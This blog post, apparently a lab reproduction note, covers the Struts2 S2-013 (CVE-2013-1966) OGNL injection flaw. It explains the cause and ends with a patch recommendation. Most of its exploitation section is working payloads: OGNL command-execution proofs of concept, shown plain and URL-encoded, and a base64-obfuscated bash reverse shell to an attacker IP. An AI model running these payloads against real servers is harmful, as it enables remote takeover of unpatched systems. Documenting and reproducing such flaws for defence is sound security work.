首页 > 其他分享 >S2-013 CVE-2013-1966

S2-013 CVE-2013-1966

时间:2023-01-09 09:55:12浏览次数:63  
标签:java S2 1966 29% 28% 013 io new 2C%

漏洞名称

S2-013 CVE-2013-1966 远程命令执行

利用条件

Struts 2.0.0 - Struts 2.3.14.1

漏洞原理

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,可以设置成如下值:

  1. none - URL中不包含任何参数(默认)
  2. get - 仅包含URL中的GET参数
  3. all - 在URL中包含GET和POST参数此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

需要在JSP页面中将s:url、s:a标签中的includeParams属性设定为get或all

<s:a>用来显示一个超链接,当includeParams=all或includeParams=get时,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

漏洞利用

探测

简单payload ${1+1} (编码提交)

image-20221230112913556

命令执行

POC1

${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

全url编码发送

image-20221230113300751

通过url编码工具编码后发送

在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)

%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%2C%23b%3Dnew+java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew+java.io.BufferedReader%28%23b%29%2C%23d%3Dnew+char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2C%23out.println%28%2Bnew+java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D

image-20221230113528540

POC2

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

通过在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)进行编码

image-20221230115201154

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)

image-20221230114455723

image-20221230114504430

修复建议

升级到 Struts 2.3.14.2,其中包含更正的 OGNL 和 XWork 库。

参考文章

https://xz.aliyun.com/t/2694

https://blog.csdn.net/satasun/article/details/110938209

标签:java,S2,1966,29%,28%,013,io,new,2C%
From: https://www.cnblogs.com/crayonxiaoxin/p/17036084.html

相关文章

  • S2-012 CVE-2013-1965
    漏洞名称S2-012(CVE-2013-1965)远程代码执行利用条件StrutsShowcaseApp2.0.0-StrutsShowcaseApp2.3.14.2影响版本:Struts2.1.0-2.3.13漏洞原理如果在配置A......
  • S2 - Lesson 16 - A polite request
    Wordsparkparkyourcarinthewrongplace. parkingsigns reminderremindthisnoteisonlyareminder failfailtodosth.failtoobeyit.theyfai......
  • Struts2系列漏洞复现汇总-持续更新中
    Struts2漏洞目录struts2漏洞S2-001(CVE-2007-4556)(已完成)struts2漏洞S2-003(已完成)struts2漏洞S2-005(已完成)struts2漏洞s2-007(已完成)struts2漏洞S2-008......
  • 【题解】P5666 [CSP-S2019] 树的重心
    感觉对重心的理解更直观了一点。题意求一棵树上删去每一条边后两侧子树重心的编号和。\(n\leq3\times10^5\)思路神奇的清真数论。首先这里有一步很妙的操作:把整......
  • P8597 [蓝桥杯 2013 省 B] 翻硬币
    题目描述桌上放着排成一排的若干硬币。我们用 * 表示正面,用 o 表示反面(是小写字母,不是零),比如可能情形是 **oo***oooo,如果同时翻转左边的两个硬币,则变为 oooo***ooo......
  • P8598 [蓝桥杯 2013 省 AB] 错误票据
    题目背景某涉密单位下发了某种票据,并要在年终全部收回。题目描述每张票据有唯一的ID号,全年所有票据的ID号是连续的,但ID的开始数码是随机选定的。因为工作人员......
  • P8599 [蓝桥杯 2013 省 B] 带分数
    题目描述100100 可以表示为带分数的形式:100=3+\frac{69258}{714}100=3+71469258​。还可以表示为:100=82+\frac{3546}{197}100=82+1973546​。注意特征:带分数......
  • 实验课程: SSM 实验名称: MyBatis2
    一.实验目的MyBatis框架下Dao层引入方式? 2.MyBatis框架下Service层引入方式?3.什么是代理模式? 4.MyBatis生命周期2的过程(最终)?5.项目代码二.实验......
  • 升级csproj文件为vs2017工程格式(SDK样式)
    csproj文件在VS2017后格式变更为SDK样式。framework项目如果需要源链接等等功能,需要进行手动升级。升级过程升级需要Project2015To2017Nuget包。>dotnettoolinstall......
  • 多路DO转4G远程报警控制器S274
    S27X内嵌工业级GSM/GPRS/3G/4G通信模块,集成稳定可靠的32位高性能微处理器MCU,基于UCOSII嵌入式实时操作系统,提供8路数字量输入,6路模拟量输入,4路继电器输出以及......